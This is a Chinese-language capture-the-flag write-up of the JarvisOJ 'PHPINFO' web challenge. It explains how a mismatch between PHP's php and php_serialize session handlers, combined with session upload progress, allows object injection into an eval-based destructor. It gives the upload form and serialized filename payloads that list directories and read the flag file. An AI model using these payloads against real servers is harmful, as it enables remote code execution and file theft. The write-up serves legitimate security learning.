[*]题目链接 http://web.jarvisoj.com:32784/
0x00 学习链接
这道题目实在是没见过。。一道反序列化的题目,但是没有可以让我们控制的点。于是学习了一波
- 题目的学习链接:
https://chybeta.github.io/2017/07/05/jarvisoj-web-writeup/#PHPINFO
https://mp.weixin.qq.com/s/Z1zvcBg74T0psDGnXW-ebA
http://www.91ri.org/15925.html - session反序列化的学习:
https://blog.spoock.com/2016/10/16/php-serialize-problem/
0x01 解析分析
题目源码是1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
可以看到ini_set('session.serialize_handler', 'php');
session.serialize_handler函数是用来设置session序列化引擎的。这里是将session序列化引擎设置为php解析
session序列化引擎有三种解析方式:
- php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
- php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
- php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
题目的关键点就在这里,如果PHP在反序列化存储的$_SESSION
数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化可以在phpinfo里看到,服务器默认的解析方式是php_ serialize。而题目中将解析方式设置成了php。这就造成了seesion的反序列化问题。即先以php_serialize存入,再以php的序列化方式读取。
php引擎的解析方式是以 | 分割键名和键值。比如name|s:6:"hu3sky";
而php_serialize
引擎的解析出来的是a:1:{s:4:"name";s:6:"hu3sky";}
这里只要是php_serialize解析都会有a:1
这时我们就可以按照这个特性来构造执行对象的命令。
例如
通过php_serialize构造的:
a:1:{s:6:"hu3sky";s:20:"|O:8:"stdClass":0:{}";}
以php的方式解析会变为:
array(1) { ["a:1:{s:6:"hu3sky";s:20:""]=> object(stdClass)#1 (0) { }}
成功执行了变量。
但是此题没有可控的变量,所以根据大佬们的方法。如下
0x02 解题方法
可以看到phpinfo页面session.upload_progress.enabled为On而当这个选项被打开时,php会自动记录上传文件的进度,在上传时会将其信息保存在$_SESSION
中。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据。所以可以通过Session Upload Progress来设置session
,
这里 通过构造一个表单来解题,先在本地构造好表单,表单这里有个链接https://bugs.php.net/bug.php?id=71101
1
2
3
4
5<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
接下来。构造好payload。1
2
3
4
5
6
7
8
9
10<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz = 'payload';
}
$obj = new OowoO;
echo serialize($obj);
?>
- payload1:将payload替换为print_r(scandir(dirname(FILE)));,得到序列化结果(获取目标目录下的内容):
O:5:"OowoO":1:{s:4:"mdzz";s:35:"print_r(scandir(dirname(__FILE__)))";}
;
防止转义在引号前加上\。利用前面的html页面随便上传一个东西,抓包,把filename改为如下:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
注意前面的|不要忘了,php解析是把|后面的当成键值。
。可以看到当前目录下的文件。有一个Here_1s_7he_fl4g_buT_You_Cannot_see.php。很明显flag就在这个php里。所以我们要打开他。但是要知道文件路径。这个通过phpinfo查看
。当前目录为/opt/lampp/htdocs - payload2:所以构造payload2,替换payload为print_r(file_get_contents(“/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php”));
加上\为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
get flag。